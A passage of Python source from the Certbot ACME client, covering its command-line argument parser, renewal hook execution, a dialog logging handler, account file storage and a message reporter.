                               "when obtaining a new or replacement "
                               "via the certonly command. Please try the "
                               "certonly command instead.")
        if parsed_args.allow_subset_of_names:
            raise errors.Error("--allow-subset-of-names cannot be used with --csr")

        csrfile, contents = parsed_args.csr[0:2]
        typ, csr, domains = crypto_util.import_csr_file(csrfile, contents)

        # This is not necessary for webroot to work, however,
        # obtain_certificate_from_csr requires parsed_args.domains to be set
        for domain in domains:
            add_domains(parsed_args, domain)

        if not domains:
            # TODO: add CN to domains instead:
            raise errors.Error(
                "Unfortunately, your CSR %s needs to have a SubjectAltName for every domain"
                % parsed_args.csr[0])

        parsed_args.actual_csr = (csr, typ)
        csr_domains, config_domains = set(domains), set(parsed_args.domains)
        if csr_domains != config_domains:
            raise errors.ConfigurationError(
                "Inconsistent domain requests:\nFrom the CSR: {0}\nFrom command line/config: {1}"
                .format(", ".join(csr_domains), ", ".join(config_domains)))


    def determine_verb(self):
        """Determines the verb/subcommand provided by the user.

        This function works around some of the limitations of argparse.

        """
        if "-h" in self.args or "--help" in self.args:
            # all verbs double as help arguments; don't get them confused
            self.verb = "help"
            return

        for i, token in enumerate(self.args):
            if token in self.VERBS:
                verb = token
                if verb == "auth":
                    verb = "certonly"
                if verb == "everything":
                    verb = "run"
                self.verb = verb
                self.args.pop(i)
                return

        self.verb = "run"

    def prescan_for_flag(self, flag, possible_arguments):
        """Checks cli input for flags.

        Check for a flag, which accepts a fixed set of possible arguments, in
        the command line; we will use this information to configure argparse's
        help correctly.  Return the flag's argument, if it has one that matches
        the sequence @possible_arguments; otherwise return whether the flag is
        present.

        """
        if flag not in self.args:
            return False
        pos = self.args.index(flag)
        try:
            nxt = self.args[pos + 1]
            if nxt in possible_arguments:
                return nxt
        except IndexError:
            pass
        return True

    def add(self, topics, *args, **kwargs):
        """Add a new command line argument.

        :param topics: str or [str] help topic(s) this should be listed under,
                       or None for "always documented". The first entry
                       determines where the flag lives in the "--help all"
                       output (None -> "optional arguments").
        :param list *args: the names of this argument flag
        :param dict **kwargs: various argparse settings for this argument

        """

        if isinstance(topics, list):
            # if this flag can be listed in multiple sections, try to pick the one
            # that the user has asked for help about
            topic = self.help_arg if self.help_arg in topics else topics[0]
        else:
            topic = topics  # there's only one

        if self.detect_defaults:
            kwargs = self.modify_kwargs_for_default_detection(**kwargs)

        if self.visible_topics[topic]:
            if topic in self.groups:
                group = self.groups[topic]
                group.add_argument(*args, **kwargs)
            else:
                self.parser.add_argument(*args, **kwargs)
        else:
            kwargs["help"] = argparse.SUPPRESS
            self.parser.add_argument(*args, **kwargs)

    def modify_kwargs_for_default_detection(self, **kwargs):
        """Modify an arg so we can check if it was set by the user.

        Changes the parameters given to argparse when adding an argument
        so we can properly detect if the value was set by the user.

        :param dict kwargs: various argparse settings for this argument

        :returns: a modified versions of kwargs
        :rtype: dict

        """
        action = kwargs.get("action", None)
        if action not in EXIT_ACTIONS:
            kwargs["action"] = ("store_true" if action in ZERO_ARG_ACTIONS else
                                "store")
            kwargs["default"] = _Default()
            for param in ARGPARSE_PARAMS_TO_REMOVE:
                kwargs.pop(param, None)

        return kwargs

    def add_deprecated_argument(self, argument_name, num_args):
        """Adds a deprecated argument with the name argument_name.

        Deprecated arguments are not shown in the help. If they are used
        on the command line, a warning is shown stating that the
        argument is deprecated and no other action is taken.

        :param str argument_name: Name of deprecated argument.
        :param int nargs: Number of arguments the option takes.

        """
        util.add_deprecated_argument(
            self.parser.add_argument, argument_name, num_args)

    def add_group(self, topic, **kwargs):
        """Create a new argument group.

        This method must be called once for every topic, however, calls
        to this function are left next to the argument definitions for
        clarity.

        :param str topic: Name of the new argument group.

        :returns: The new argument group.
        :rtype: `HelpfulArgumentGroup`

        """
        if self.visible_topics[topic]:
            self.groups[topic] = self.parser.add_argument_group(topic, **kwargs)

        return HelpfulArgumentGroup(self, topic)

    def add_plugin_args(self, plugins):
        """

        Let each of the plugins add its own command line arguments, which
        may or may not be displayed as help topics.

        """
        for name, plugin_ep in six.iteritems(plugins):
            parser_or_group = self.add_group(name, description=plugin_ep.description)
            plugin_ep.plugin_cls.inject_parser_options(parser_or_group, name)

    def determine_help_topics(self, chosen_topic):
        """

        The user may have requested help on a topic, return a dict of which
        topics to display. @chosen_topic has prescan_for_flag's return type

        :returns: dict

        """
        # topics maps each topic to whether it should be documented by
        # argparse on the command line
        if chosen_topic == "auth":
            chosen_topic = "certonly"
        if chosen_topic == "everything":
            chosen_topic = "run"
        if chosen_topic == "all":
            return dict([(t, True) for t in self.help_topics])
        elif not chosen_topic:
            return dict([(t, False) for t in self.help_topics])
        else:
            return dict([(t, t == chosen_topic) for t in self.help_topics])

def _add_all_groups(helpful):
    helpful.add_group("automation", description="Arguments for automating execution & other tweaks")
    helpful.add_group("security", description="Security parameters & server settings")
    helpful.add_group(
        "testing", description="The following flags are meant for "
        "testing purposes only! Do NOT change them, unless you "
        "really know what you're doing!")
    # VERBS
    helpful.add_group(
        "renew", description="The 'renew' subcommand will attempt to renew all"
        " certificates (or more precisely, certificate lineages) you have"
        " previously obtained if they are close to expiry, and print a"
        " summary of the results. By default, 'renew' will reuse the options"
        " used to create obtain or most recently successfully renew each"
        " certificate lineage. You can try it with `--dry-run` first. For"
        " more fine-grained control, you can renew individual lineages with"
        " the `certonly` subcommand. Hooks are available to run commands"
        " before and after renewal; see"
        " https://certbot.eff.org/docs/using.html#renewal for more"
        " information on these.")

    helpful.add_group("certonly", description="Options for modifying how a cert is obtained")
    helpful.add_group("install", description="Options for modifying how a cert is deployed")
    helpful.add_group("revoke", description="Options for revocation of certs")
    helpful.add_group("rollback", description="Options for reverting config changes")
    helpful.add_group("plugins", description='Options for the "plugins" subcommand')
    helpful.add_group("config_changes",
                      description="Options for showing a history of config changes")
    helpful.add_group("paths", description="Arguments changing execution paths & servers")


def prepare_and_parse_args(plugins, args, detect_defaults=False):  # pylint: disable=too-many-statements
    """Returns parsed command line arguments.

    :param .PluginsRegistry plugins: available plugins
    :param list args: command line arguments with the program name removed

    :returns: parsed command line arguments
    :rtype: argparse.Namespace

    """

    # pylint: disable=too-many-statements

    helpful = HelpfulArgumentParser(args, plugins, detect_defaults)
    _add_all_groups(helpful)

    # --help is automatically provided by argparse
    helpful.add(
        None, "-v", "--verbose", dest="verbose_count", action="count",
        default=flag_default("verbose_count"), help="This flag can be used "
        "multiple times to incrementally increase the verbosity of output, "
        "e.g. -vvv.")
    helpful.add(
        None, "-t", "--text", dest="text_mode", action="store_true",
        help="Use the text output instead of the curses UI.")
    helpful.add(
        [None, "automation"], "-n", "--non-interactive", "--noninteractive",
        dest="noninteractive_mode", action="store_true",
        help="Run without ever asking for user input. This may require "
              "additional command line flags; the client will try to explain "
              "which ones are required if it finds one missing")
    helpful.add(
        None, "--dialog", dest="dialog_mode", action="store_true",
        help="Run using interactive dialog menus")
    helpful.add(
        [None, "run", "certonly"],
        "-d", "--domains", "--domain", dest="domains",
        metavar="DOMAIN", action=_DomainsAction, default=[],
        help="Domain names to apply. For multiple domains you can use "
             "multiple -d flags or enter a comma separated list of domains "
             "as a parameter.")

    helpful.add(
        [None, "testing", "renew", "certonly"],
        "--dry-run", action="store_true", dest="dry_run",
        help="Perform a test run of the client, obtaining test (invalid) certs"
             " but not saving them to disk. This can currently only be used"
             " with the 'certonly' and 'renew' subcommands. \nNote: Although --dry-run"
             " tries to avoid making any persistent changes on a system, it "
             " is not completely side-effect free: if used with webserver authenticator plugins"
             " like apache and nginx, it makes and then reverts temporary config changes"
             " in order to obtain test certs, and reloads webservers to deploy and then"
             " roll back those changes.  It also calls --pre-hook and --post-hook commands"
             " if they are defined because they may be necessary to accurately simulate"
             " renewal. --renew-hook commands are not called.")
    helpful.add(
        ["register", "automation"], "--register-unsafely-without-email", action="store_true",
        help="Specifying this flag enables registering an account with no "
             "email address. This is strongly discouraged, because in the "
             "event of key loss or account compromise you will irrevocably "
             "lose access to your account. You will also be unable to receive "
             "notice about impending expiration or revocation of your "
             "certificates. Updates to the Subscriber Agreement will still "
             "affect you, and will be effective 14 days after posting an "
             "update to the web site.")
    helpful.add(
        "register", "--update-registration", action="store_true",
        help="With the register verb, indicates that details associated "
             "with an existing registration, such as the e-mail address, "
             "should be updated, rather than registering a new account.")
    helpful.add(None, "-m", "--email", help=config_help("email"))
    helpful.add(
        ["automation", "renew", "certonly", "run"],
        "--keep-until-expiring", "--keep", "--reinstall",
        dest="reinstall", action="store_true",
        help="If the requested cert matches an existing cert, always keep the "
             "existing one until it is due for renewal (for the "
             "'run' subcommand this means reinstall the existing cert)")
    helpful.add(
        "automation", "--expand", action="store_true",
        help="If an existing cert covers some subset of the requested names, "
             "always expand and replace it with the additional names.")
    helpful.add(
        "automation", "--version", action="version",
        version="%(prog)s {0}".format(certbot.__version__),
        help="show program's version number and exit")
    helpful.add(
        ["automation", "renew"],
        "--force-renewal", "--renew-by-default",
        action="store_true", dest="renew_by_default", help="If a certificate "
             "already exists for the requested domains, renew it now, "
             "regardless of whether it is near expiry. (Often "
             "--keep-until-expiring is more appropriate). Also implies "
             "--expand.")
    helpful.add(
        ["automation", "renew", "certonly"],
        "--allow-subset-of-names", action="store_true",
        help="When performing domain validation, do not consider it a failure "
             "if authorizations can not be obtained for a strict subset of "
             "the requested domains. This may be useful for allowing renewals for "
             "multiple domains to succeed even if some domains no longer point "
             "at this system. This option cannot be used with --csr.")
    helpful.add(
        "automation", "--agree-tos", dest="tos", action="store_true",
        help="Agree to the ACME Subscriber Agreement")
    helpful.add(
        "automation", "--account", metavar="ACCOUNT_ID",
        help="Account ID to use")
    helpful.add(
        "automation", "--duplicate", dest="duplicate", action="store_true",
        help="Allow making a certificate lineage that duplicates an existing one "
             "(both can be renewed in parallel)")
    helpful.add(
        "automation", "--os-packages-only", action="store_true",
        help="(certbot-auto only) install OS package dependencies and then stop")
    helpful.add(
        "automation", "--no-self-upgrade", action="store_true",
        help="(certbot-auto only) prevent the certbot-auto script from"
             " upgrading itself to newer released versions")
    helpful.add(
        ["automation", "renew", "certonly"],
        "-q", "--quiet", dest="quiet", action="store_true",
        help="Silence all output except errors. Useful for automation via cron."
             " Implies --non-interactive.")
    # overwrites server, handled in HelpfulArgumentParser.parse_args()
    helpful.add("testing", "--test-cert", "--staging", action='store_true', dest='staging',
        help='Use the staging server to obtain test (invalid) certs; equivalent'
             ' to --server ' + constants.STAGING_URI)
    helpful.add(
        "testing", "--debug", action="store_true",
        help="Show tracebacks in case of errors, and allow certbot-auto "
             "execution on experimental platforms")
    helpful.add(
        "testing", "--no-verify-ssl", action="store_true",
        help=config_help("no_verify_ssl"),
        default=flag_default("no_verify_ssl"))
    helpful.add(
        "testing", "--tls-sni-01-port", type=int,
        default=flag_default("tls_sni_01_port"),
        help=config_help("tls_sni_01_port"))
    helpful.add(
        "testing", "--http-01-port", type=int, dest="http01_port",
        default=flag_default("http01_port"), help=config_help("http01_port"))
    helpful.add(
        "testing", "--break-my-certs", action="store_true",
        help="Be willing to replace or renew valid certs with invalid "
             "(testing/staging) certs")
    helpful.add(
        "security", "--rsa-key-size", type=int, metavar="N",
        default=flag_default("rsa_key_size"), help=config_help("rsa_key_size"))
    helpful.add(
        "security", "--must-staple", action="store_true",
        help=config_help("must_staple"), dest="must_staple", default=False)
    helpful.add(
        "security", "--redirect", action="store_true",
        help="Automatically redirect all HTTP traffic to HTTPS for the newly "
             "authenticated vhost.", dest="redirect", default=None)
    helpful.add(
        "security", "--no-redirect", action="store_false",
        help="Do not automatically redirect all HTTP traffic to HTTPS for the newly "
             "authenticated vhost.", dest="redirect", default=None)
    helpful.add(
        "security", "--hsts", action="store_true",
        help="Add the Strict-Transport-Security header to every HTTP response."
             " Forcing browser to always use SSL for the domain."
             " Defends against SSL Stripping.", dest="hsts", default=False)
    helpful.add(
        "security", "--no-hsts", action="store_false",
        help="Do not automatically add the Strict-Transport-Security header"
             " to every HTTP response.", dest="hsts", default=False)
    helpful.add(
        "security", "--uir", action="store_true",
        help="Add the \"Content-Security-Policy: upgrade-insecure-requests\""
             " header to every HTTP response. Forcing the browser to use"
             " https:// for every http:// resource.", dest="uir", default=None)
    helpful.add(
        "security", "--no-uir", action="store_false",
        help="Do not automatically set the \"Content-Security-Policy:"
        " upgrade-insecure-requests\" header to every HTTP response.",
        dest="uir", default=None)
    helpful.add(
        "security", "--staple-ocsp", action="store_true",
        help="Enables OCSP Stapling. A valid OCSP response is stapled to"
        " the certificate that the server offers during TLS.",
        dest="staple", default=None)
    helpful.add(
        "security", "--no-staple-ocsp", action="store_false",
        help="Do not automatically enable OCSP Stapling.",
        dest="staple", default=None)
    helpful.add(
        "security", "--strict-permissions", action="store_true",
        help="Require that all configuration files are owned by the current "
             "user; only needed if your config is somewhere unsafe like /tmp/")
    helpful.add(
        "renew", "--pre-hook",
        help="Command to be run in a shell before obtaining any certificates."
        " Intended primarily for renewal, where it can be used to temporarily"
        " shut down a webserver that might conflict with the standalone"
        " plugin. This will only be called if a certificate is actually to be"
        " obtained/renewed.")
    helpful.add(
        "renew", "--post-hook",
        help="Command to be run in a shell after attempting to obtain/renew"
        " certificates. Can be used to deploy renewed certificates, or to"
        " restart any servers that were stopped by --pre-hook. This is only"
        " run if an attempt was made to obtain/renew a certificate.")
    helpful.add(
        "renew", "--renew-hook",
        help="Command to be run in a shell once for each successfully renewed"
        " certificate. For this command, the shell variable $RENEWED_LINEAGE"
        " will point to the config live subdirectory containing the new certs"
        " and keys; the shell variable $RENEWED_DOMAINS will contain a"
        " space-delimited list of renewed cert domains")
    helpful.add(
        "renew", "--disable-hook-validation",
        action='store_false', dest='validate_hooks', default=True,
        help="Ordinarily the commands specified for"
        " --pre-hook/--post-hook/--renew-hook will be checked for validity, to"
        " see if the programs being run are in the $PATH, so that mistakes can"
        " be caught early, even when the hooks aren't being run just yet. The"
        " validation is rather simplistic and fails if you use more advanced"
        " shell constructs, so you can use this switch to disable it.")

    helpful.add_deprecated_argument("--agree-dev-preview", 0)

    _create_subparsers(helpful)
    _paths_parser(helpful)
    # _plugins_parsing should be the last thing to act upon the main
    # parser (--help should display plugin-specific options last)
    _plugins_parsing(helpful, plugins)

    if not detect_defaults:
        global helpful_parser # pylint: disable=global-statement
        helpful_parser = helpful
    return helpful.parse_args()


def _create_subparsers(helpful):
    helpful.add("config_changes", "--num", type=int,
                help="How many past revisions you want to be displayed")
    helpful.add(
        None, "--user-agent", default=None,
        help="Set a custom user agent string for the client. User agent strings allow "
             "the CA to collect high level statistics about success rates by OS and "
             "plugin. If you wish to hide your server OS version from the Let's "
             'Encrypt server, set this to "".')
    helpful.add("certonly",
                "--csr", type=read_file,
                help="Path to a Certificate Signing Request (CSR) in DER"
                " format; note that the .csr file *must* contain a Subject"
                " Alternative Name field for each domain you want certified."
                " Currently --csr only works with the 'certonly' subcommand'")
    helpful.add("rollback",
                "--checkpoints", type=int, metavar="N",
                default=flag_default("rollback_checkpoints"),
                help="Revert configuration N number of checkpoints.")
    helpful.add("plugins",
                "--init", action="store_true", help="Initialize plugins.")
    helpful.add("plugins",
                "--prepare", action="store_true", help="Initialize and prepare plugins.")
    helpful.add("plugins",
                "--authenticators", action="append_const", dest="ifaces",
                const=interfaces.IAuthenticator, help="Limit to authenticator plugins only.")
    helpful.add("plugins",
                "--installers", action="append_const", dest="ifaces",
                const=interfaces.IInstaller, help="Limit to installer plugins only.")


def _paths_parser(helpful):
    add = helpful.add
    verb = helpful.verb
    if verb == "help":
        verb = helpful.help_arg

    cph = "Path to where cert is saved (with auth --csr), installed from or revoked."
    section = "paths"
    if verb in ("install", "revoke", "certonly"):
        section = verb
    if verb == "certonly":
        add(section, "--cert-path", type=os.path.abspath,
            default=flag_default("auth_cert_path"), help=cph)
    elif verb == "revoke":
        add(section, "--cert-path", type=read_file, required=True, help=cph)
    else:
        add(section, "--cert-path", type=os.path.abspath,
            help=cph, required=(verb == "install"))

    section = "paths"
    if verb in ("install", "revoke"):
        section = verb
    # revoke --key-path reads a file, install --key-path takes a string
    add(section, "--key-path", required=(verb == "install"),
        type=((verb == "revoke" and read_file) or os.path.abspath),
        help="Path to private key for cert installation "
             "or revocation (if account key is missing)")

    default_cp = None
    if verb == "certonly":
        default_cp = flag_default("auth_chain_path")
    add("paths", "--fullchain-path", default=default_cp, type=os.path.abspath,
        help="Accompanying path to a full certificate chain (cert plus chain).")
    add("paths", "--chain-path", default=default_cp, type=os.path.abspath,
        help="Accompanying path to a certificate chain.")
    add("paths", "--config-dir", default=flag_default("config_dir"),
        help=config_help("config_dir"))
    add("paths", "--work-dir", default=flag_default("work_dir"),
        help=config_help("work_dir"))
    add("paths", "--logs-dir", default=flag_default("logs_dir"),
        help="Logs directory.")
    add("paths", "--server", default=flag_default("server"),
        help=config_help("server"))


def _plugins_parsing(helpful, plugins):
    # It's nuts, but there are two "plugins" topics.  Somehow this works
    helpful.add_group(
        "plugins", description="Plugin Selection: Certbot client supports an "
        "extensible plugins architecture. See '%(prog)s plugins' for a "
        "list of all installed plugins and their names. You can force "
        "a particular plugin by setting options provided below. Running "
        "--help <plugin_name> will list flags specific to that plugin.")

    helpful.add(
        "plugins", "-a", "--authenticator", help="Authenticator plugin name.")
    helpful.add(
        "plugins", "-i", "--installer", help="Installer plugin name (also used to find domains).")
    helpful.add(
        "plugins", "--configurator", help="Name of the plugin that is "
        "both an authenticator and an installer. Should not be used "
        "together with --authenticator or --installer.")
    helpful.add(["plugins", "certonly", "run", "install"],
                "--apache", action="store_true",
                help="Obtain and install certs using Apache")
    helpful.add(["plugins", "certonly", "run", "install"],
                "--nginx", action="store_true",
                help="Obtain and install certs using Nginx")
    helpful.add(["plugins", "certonly"], "--standalone", action="store_true",
                help='Obtain certs using a "standalone" webserver.')
    helpful.add(["plugins", "certonly"], "--manual", action="store_true",
                help='Provide laborious manual instructions for obtaining a cert')
    helpful.add(["plugins", "certonly"], "--webroot", action="store_true",
                help='Obtain certs by placing files in a webroot directory.')

    # things should not be reorder past/pre this comment:
    # plugins_group should be displayed in --help before plugin
    # specific groups (so that plugins_group.description makes sense)

    helpful.add_plugin_args(plugins)


class _DomainsAction(argparse.Action):
    """Action class for parsing domains."""

    def __call__(self, parser, namespace, domain, option_string=None):
        """Just wrap add_domains in argparseese."""
        add_domains(namespace, domain)


def add_domains(args_or_config, domains):
    """Registers new domains to be used during the current client run.

    Domains are not added to the list of requested domains if they have
    already been registered.

    :param args_or_config: parsed command line arguments
    :type args_or_config: argparse.Namespace or
        configuration.NamespaceConfig
    :param str domain: one or more comma separated domains

    :returns: domains after they have been normalized and validated
    :rtype: `list` of `str`

    """
    validated_domains = []
    for domain in domains.split(","):
        domain = util.enforce_domain_sanity(domain.strip())
        validated_domains.append(domain)
        if domain not in args_or_config.domains:
            args_or_config.domains.append(domain)

    return validated_domains






"""Certbot client."""

# version number like 1.2.3a0, must have at least 2 parts, like 1.2
__version__ = '0.9.0.dev0'






"""Logging utilities."""
import logging

import dialog

from certbot.display import util as display_util


class DialogHandler(logging.Handler):  # pylint: disable=too-few-public-methods
    """Logging handler using dialog info box.

    :ivar int height: Height of the info box (without padding).
    :ivar int width: Width of the info box (without padding).
    :ivar list lines: Lines to be displayed in the info box.
    :ivar d: Instance of :class:`dialog.Dialog`.

    """

    PADDING_HEIGHT = 2
    PADDING_WIDTH = 4

    def __init__(self, level=logging.NOTSET, height=display_util.HEIGHT,
                 width=display_util.WIDTH - 4, d=None):
        # Handler not new-style -> no super
        logging.Handler.__init__(self, level)
        self.height = height
        self.width = width
        # "dialog" collides with module name...
        self.d = dialog.Dialog() if d is None else d
        self.lines = []

    def emit(self, record):
        """Emit message to a dialog info box.

        Only show the last (self.height) lines; note that lines can wrap
        at self.width, so a single line could actually be multiple
        lines.

        """
        for line in self.format(record).splitlines():
            # check for lines that would wrap
            cur_out = line
            while len(cur_out) > self.width:
                # find first space before self.width chars into cur_out
                last_space_pos = cur_out.rfind(' ', 0, self.width)

                if last_space_pos == -1:
                    # no spaces, just cut them off at whatever
                    self.lines.append(cur_out[0:self.width])
                    cur_out = cur_out[self.width:]
                else:
                    # cut off at last space
                    self.lines.append(cur_out[0:last_space_pos])
                    cur_out = cur_out[last_space_pos + 1:]
            if cur_out != '':
                self.lines.append(cur_out)

        # show last 16 lines
        content = '\n'.join(self.lines[-self.height:])

        # add the padding around the box
        self.d.infobox(
            content, self.height + self.PADDING_HEIGHT,
            self.width + self.PADDING_WIDTH)






"""Facilities for implementing hooks that call shell commands."""
from __future__ import print_function

import logging
import os

from subprocess import Popen, PIPE

from certbot import errors

logger = logging.getLogger(__name__)

def validate_hooks(config):
    """Check hook commands are executable."""
    _validate_hook(config.pre_hook, "pre")
    _validate_hook(config.post_hook, "post")
    _validate_hook(config.renew_hook, "renew")

def _prog(shell_cmd):
    """Extract the program run by a shell command"""
    cmd = _which(shell_cmd)
    return os.path.basename(cmd) if cmd else None

def _validate_hook(shell_cmd, hook_name):
    """Check that a command provided as a hook is plausibly executable.

    :raises .errors.HookCommandNotFound: if the command is not found
    """
    if shell_cmd:
        cmd = shell_cmd.split(None, 1)[0]
        if not _prog(cmd):
            path = os.environ["PATH"]
            msg = "Unable to find {2}-hook command {0} in the PATH.\n(PATH is {1})".format(
                cmd, path, hook_name)
            raise errors.HookCommandNotFound(msg)

def pre_hook(config):
    "Run pre-hook if it's defined and hasn't been run."
    if config.pre_hook and not pre_hook.already:
        logger.info("Running pre-hook command: %s", config.pre_hook)
        _run_hook(config.pre_hook)
    pre_hook.already = True

pre_hook.already = False

def post_hook(config, final=False):
    """Run post hook if defined.

    If the verb is renew, we might have more certs to renew, so we wait until
    we're called with final=True before actually doing anything.
    """
    if config.post_hook:
        if not pre_hook.already:
            logger.info("No renewals attempted, so not running post-hook")
            if config.verb != "renew":
                logger.warning("Sanity failure in renewal hooks")
            return
        if final or config.verb != "renew":
            logger.info("Running post-hook command: %s", config.post_hook)
            _run_hook(config.post_hook)

def renew_hook(config, domains, lineage_path):
    "Run post-renewal hook if defined."
    if config.renew_hook:
        if not config.dry_run:
            os.environ["RENEWED_DOMAINS"] = " ".join(domains)
            os.environ["RENEWED_LINEAGE"] = lineage_path
            _run_hook(config.renew_hook)
        else:
            logger.warning("Dry run: skipping renewal hook command: %s", config.renew_hook)

def _run_hook(shell_cmd):
    """Run a hook command.

    :returns: stderr if there was any"""

    cmd = Popen(shell_cmd, shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE)
    _out, err = cmd.communicate()
    if cmd.returncode != 0:
        logger.error('Hook command "%s" returned error code %d', shell_cmd, cmd.returncode)
    if err:
        logger.error('Error output from %s:\n%s', _prog(shell_cmd), err)

def _is_exe(fpath):
    return os.path.isfile(fpath) and os.access(fpath, os.X_OK)

def _which(program):
    """Test if program is in the path."""
    # Borrowed from:
    # https://stackoverflow.com/questions/377017/test-if-executable-exists-in-python
    # XXX May need more porting to handle .exe extensions on Windows

    fpath, _fname = os.path.split(program)
    if fpath:
        if _is_exe(program):
            return program
    else:
        for path in os.environ["PATH"].split(os.pathsep):
            exe_file = os.path.join(path, program)
            if _is_exe(exe_file):
                return exe_file

    return None






"""Creates ACME accounts for server."""
import datetime
import hashlib
import logging
import os
import socket

from cryptography.hazmat.primitives import serialization
import pyrfc3339
import pytz
import six
import zope.component

from acme import fields as acme_fields
from acme import jose
from acme import messages

from certbot import errors
from certbot import interfaces
from certbot import util


logger = logging.getLogger(__name__)


class Account(object):  # pylint: disable=too-few-public-methods
    """ACME protocol registration.

    :ivar .RegistrationResource regr: Registration Resource
    :ivar .JWK key: Authorized Account Key
    :ivar .Meta: Account metadata
    :ivar str id: Globally unique account identifier.

    """

    class Meta(jose.JSONObjectWithFields):
        """Account metadata

        :ivar datetime.datetime creation_dt: Creation date and time (UTC).
        :ivar str creation_host: FQDN of host, where account has been created.

        .. note:: ``creation_dt`` and ``creation_host`` are useful in
            cross-machine migration scenarios.

        """
        creation_dt = acme_fields.RFC3339Field("creation_dt")
        creation_host = jose.Field("creation_host")

    def __init__(self, regr, key, meta=None):
        self.key = key
        self.regr = regr
        self.meta = self.Meta(
            # pyrfc3339 drops microseconds, make sure __eq__ is sane
            creation_dt=datetime.datetime.now(
                tz=pytz.UTC).replace(microsecond=0),
            creation_host=socket.getfqdn()) if meta is None else meta

        self.id = hashlib.md5(
            self.key.key.public_key().public_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PublicFormat.SubjectPublicKeyInfo)
        ).hexdigest()
        # Implementation note: Email? Multiple accounts can have the
        # same email address. Registration URI? Assigned by the
        # server, not guaranteed to be stable over time, nor
        # canonical URI can be generated. ACME protocol doesn't allow
        # account key (and thus its fingerprint) to be updated...

    @property
    def slug(self):
        """Short account identification string, useful for UI."""
        return "{1}@{0} ({2})".format(pyrfc3339.generate(
            self.meta.creation_dt), self.meta.creation_host, self.id[:4])

    def __repr__(self):
        return "<{0}({1})>".format(self.__class__.__name__, self.id)

    def __eq__(self, other):
        return (isinstance(other, self.__class__) and
                self.key == other.key and self.regr == other.regr and
                self.meta == other.meta)


def report_new_account(acc, config):
    """Informs the user about their new ACME account."""
    reporter = zope.component.queryUtility(interfaces.IReporter)
    if reporter is None:
        return
    reporter.add_message(
        "Your account credentials have been saved in your Certbot "
        "configuration directory at {0}. You should make a secure backup "
        "of this folder now. This configuration directory will also "
        "contain certificates and private keys obtained by Certbot "
        "so making regular backups of this folder is ideal.".format(
            config.config_dir),
        reporter.MEDIUM_PRIORITY)

    if acc.regr.body.emails:
        recovery_msg = ("If you lose your account credentials, you can "
                        "recover through e-mails sent to {0}.".format(
                            ", ".join(acc.regr.body.emails)))
        reporter.add_message(recovery_msg, reporter.MEDIUM_PRIORITY)


class AccountMemoryStorage(interfaces.AccountStorage):
    """In-memory account strage."""

    def __init__(self, initial_accounts=None):
        self.accounts = initial_accounts if initial_accounts is not None else {}

    def find_all(self):
        return list(six.itervalues(self.accounts))

    def save(self, account):
        if account.id in self.accounts:
            logger.debug("Overwriting account: %s", account.id)
        self.accounts[account.id] = account

    def load(self, account_id):
        try:
            return self.accounts[account_id]
        except KeyError:
            raise errors.AccountNotFound(account_id)


class AccountFileStorage(interfaces.AccountStorage):
    """Accounts file storage.

    :ivar .IConfig config: Client configuration

    """
    def __init__(self, config):
        self.config = config
        util.make_or_verify_dir(config.accounts_dir, 0o700, os.geteuid(),
                                   self.config.strict_permissions)

    def _account_dir_path(self, account_id):
        return os.path.join(self.config.accounts_dir, account_id)

    @classmethod
    def _regr_path(cls, account_dir_path):
        return os.path.join(account_dir_path, "regr.json")

    @classmethod
    def _key_path(cls, account_dir_path):
        return os.path.join(account_dir_path, "private_key.json")

    @classmethod
    def _metadata_path(cls, account_dir_path):
        return os.path.join(account_dir_path, "meta.json")

    def find_all(self):
        try:
            candidates = os.listdir(self.config.accounts_dir)
        except OSError:
            return []

        accounts = []
        for account_id in candidates:
            try:
                accounts.append(self.load(account_id))
            except errors.AccountStorageError:
                logger.debug("Account loading problem", exc_info=True)
        return accounts

    def load(self, account_id):
        account_dir_path = self._account_dir_path(account_id)
        if not os.path.isdir(account_dir_path):
            raise errors.AccountNotFound(
                "Account at %s does not exist" % account_dir_path)

        try:
            with open(self._regr_path(account_dir_path)) as regr_file:
                regr = messages.RegistrationResource.json_loads(regr_file.read())
            with open(self._key_path(account_dir_path)) as key_file:
                key = jose.JWK.json_loads(key_file.read())
            with open(self._metadata_path(account_dir_path)) as metadata_file:
                meta = Account.Meta.json_loads(metadata_file.read())
        except IOError as error:
            raise errors.AccountStorageError(error)

        acc = Account(regr, key, meta)
        if acc.id != account_id:
            raise errors.AccountStorageError(
                "Account ids mismatch (expected: {0}, found: {1}".format(
                    account_id, acc.id))
        return acc

    def save(self, account):
        self._save(account, regr_only=False)

    def save_regr(self, account):
        """Save the registration resource.

        :param Account account: account whose regr should be saved

        """
        self._save(account, regr_only=True)

    def _save(self, account, regr_only):
        account_dir_path = self._account_dir_path(account.id)
        util.make_or_verify_dir(account_dir_path, 0o700, os.geteuid(),
                                self.config.strict_permissions)
        try:
            with open(self._regr_path(account_dir_path), "w") as regr_file:
                regr_file.write(account.regr.json_dumps())
            if not regr_only:
                with util.safe_open(self._key_path(account_dir_path),
                                    "w", chmod=0o400) as key_file:
                    key_file.write(account.key.json_dumps())
                with open(self._metadata_path(
                        account_dir_path), "w") as metadata_file:
                    metadata_file.write(account.meta.json_dumps())
        except IOError as error:
            raise errors.AccountStorageError(error)






"""Collects and displays information to the user."""
from __future__ import print_function

import collections
import logging
import os
import sys
import textwrap

from six.moves import queue  # pylint: disable=import-error
import zope.interface

from certbot import interfaces
from certbot import util


logger = logging.getLogger(__name__)

# Store the pid of the process that first imported this module so that
# atexit_print_messages side-effects such as error reporting can be limited to
# this process and not any fork()'d children.
INITIAL_PID = os.getpid()


@zope.interface.implementer(interfaces.IReporter)
class Reporter(object):
    """Collects and displays information to the user.

    :ivar `queue.PriorityQueue` messages: Messages to be displayed to
        the user.

    """

    HIGH_PRIORITY = 0
    """High priority constant. See `add_message`."""
    MEDIUM_PRIORITY = 1
    """Medium priority constant. See `add_message`."""
    LOW_PRIORITY = 2
    """Low priority constant. See `add_message`."""

    _msg_type = collections.namedtuple('ReporterMsg', 'priority text on_crash')

    def __init__(self, config):
        self.messages = queue.PriorityQueue()
        self.config = config

    def add_message(self, msg, priority, on_crash=True):
        """Adds msg to the list of messages to be printed.

        :param str msg: Message to be displayed to the user.

        :param int priority: One of `HIGH_PRIORITY`, `MEDIUM_PRIORITY`,
            or `LOW_PRIORITY`.

        :param bool on_crash: Whether or not the message should be
            printed if the program exits abnormally.

        """
        assert self.HIGH_PRIORITY <= priority <= self.LOW_PRIORITY
        self.messages.put(self._msg_type(priority, msg, on_crash))
        logger.debug("Reporting to user: %s", msg)

